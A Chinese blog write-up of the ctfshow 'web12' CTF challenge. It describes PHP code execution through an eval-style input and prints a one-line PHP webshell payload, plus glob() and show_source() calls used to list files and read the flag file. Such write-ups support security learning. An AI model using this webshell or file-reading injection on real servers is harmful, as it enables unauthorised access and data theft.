首页 > 其他分享 >ctfshow--web12 glob和show_source命令执行

ctfshow--web12 glob和show_source命令执行

时间:2024-04-04 16:12:12浏览次数:10  
标签:查看 show -- glob source 111 php

查看源代码有提示
image
以为是cmd命令解过输入linux命令愣是没反应后来输入phpinfo()才有回显
原来是被误导了。
一开始想的是直接写入一句话木马

点击查看代码
   @eval($_POST['attack']);echo 111;
//这里的echo 111是方便看我们有没有植入成功的
这里有111的回显证明木马注入成功了 ![image](/i/l/?n=24&i=blog/3376478/202404/3376478-20240404154147930-1849379872.png) 蚁剑连接试试 发现被deny了,应该是权限不够

image

这就有点苦恼了,一时间不知道要怎么搞

上网查了查
先学习一下php的几个命令:

点击查看代码

print_r(glob("*.txt"));查看当前目录下所有txt文件
show_source("1.php") //展示代码常用于读取文件内容

print_r(glob("."));//查看所有文件

image
show_source()查看这个名字很长的php文件
拿到flag
image

标签:查看,show,--,glob,source,111,php
From: https://www.cnblogs.com/wssw/p/18114265

相关文章

  • CF371E Subway Innovation 题解
    题目链接:CF或者洛谷对于绝对值的几何意义来说,这题是在直线上的两点间的距离,为了总的距离和最下,首先最好让它们两两之间最好都紧挨着。由于询问的是\((i,j)\)不重不漏的对有关,即\((i<j)\+\(i>j)\+\(i=j)=all(i,j)\),又因为,\((i,j)\)的贡献和\((j,i)\)相同且重复,所以我......
  • FreeRTOS临界段代码保护和任务调度器的挂起与恢复学习
    FreeRTOS临界段代码保护和任务调度器的挂起与恢复学习临界段代码保护所谓临界段代码保护就是指必须完成运行,不能被打断的代码段。比如需要严格按照时序除初始化的外设:IIC、SPI,再或者因为系统自身需求和用户需求。FreeRTOS在进入临界段代码的时候需要关闭中断,当处理完临界段代......
  • 2022CSP-J组真题 2.解密
    线上OJ:https://www.luogu.com.cn/problem/P8814核心思想:对本题先进行数学公式推导已知ed=(......
  • 定义一棵松弛红黑树及其根结点颜色转换后的影响
    定义一棵松弛红黑树及其根结点颜色转换后的影响1.红黑树的性质2.松弛红黑树的定义3.根节点颜色变化的影响4.伪代码实现5.C语言代码实现6.结论在计算机科学中,红黑树是一种自平衡的二叉搜索树,它在许多数据结构和算法问题中都有着广泛的应用。红黑树通过一系列精心......
  • 算法 哈希表 day03
    哈希表当我们遇到了要快速判断一个元素是否出现集合里的时候,就要考虑哈希法。牺牲了空间换取了时间当我们想使用哈希法来解决问题的时候,我们一般会选择如下三种数据结构。数组set(集合)map(映射)第一题:242.有效的字母异位词-力扣(LeetCode)//暴力publicstaticboo......
  • 红黑树的性质与操作:吸收红结点及其对树结构的影响
    红黑树的性质与操作:吸收红结点及其对树结构的影响1.红黑树的基本性质2.吸收红结点的过程2.1黑色结点的度2.2叶结点深度3.伪代码实现4.C语言代码实现5.结论红黑树作为一种高效的自平衡二叉搜索树,在计算机科学中扮演着重要的角色。它通过一系列复杂的操作来维护其平......
  • Java线程池
    1.线程池Java线程池是Java并发编程中非常重要的一部分,它允许我们创建和管理一组线程,这些线程可以执行提交给线程池的任务。优点如下:优点描述降低资源消耗通过重复利用已创建的线程,避免频繁创建和销毁线程带来的性能开销提高响应速度当任务到达时,任务可以不需要等到线程创......
  • 程序中的编译连接介绍
    目录翻译环境和运行环境运行环境翻译环境和运行环境1.1翻译环境和运行环境在ANSIC的任何⼀种实现中,存在两个不同的环境。第一种是翻译环境:将源代码转换成可执行的机器指令(二进制指令)第二种是运行环境:它用于实际执行代码1.2编译环境编译环境是由编译和链接这......
  • deepspeed学习-多机all_reduce
    deepspeed学习-多机all_reduce一.安装nvidia-docker二.构建容器1.创建容器2.更新apt源3.安装依赖4.安装cuda12.1(编译deepspeed需要)5.设置ssh端口和密码(为避免跟hostsshd冲突,修改了容器里sshd端口)6.运行sshd服务7.安装pytorch8.测试nccl9.安装deepspeed10.退出容器......
  • 第二个OpenGL程序,矩形 (VAO VBO)_后续 EBO
    效果: 代码main.cpp#include<iostream>#include<glad/glad.h>#include<glfw3.h>usingnamespacestd;//回调函数,每当窗口改变大小,视口大小也跟随改变voidframebuffer_size_callback(GLFWwindow*window,intwidth,intheight){glViewport(0,0,width,heigh......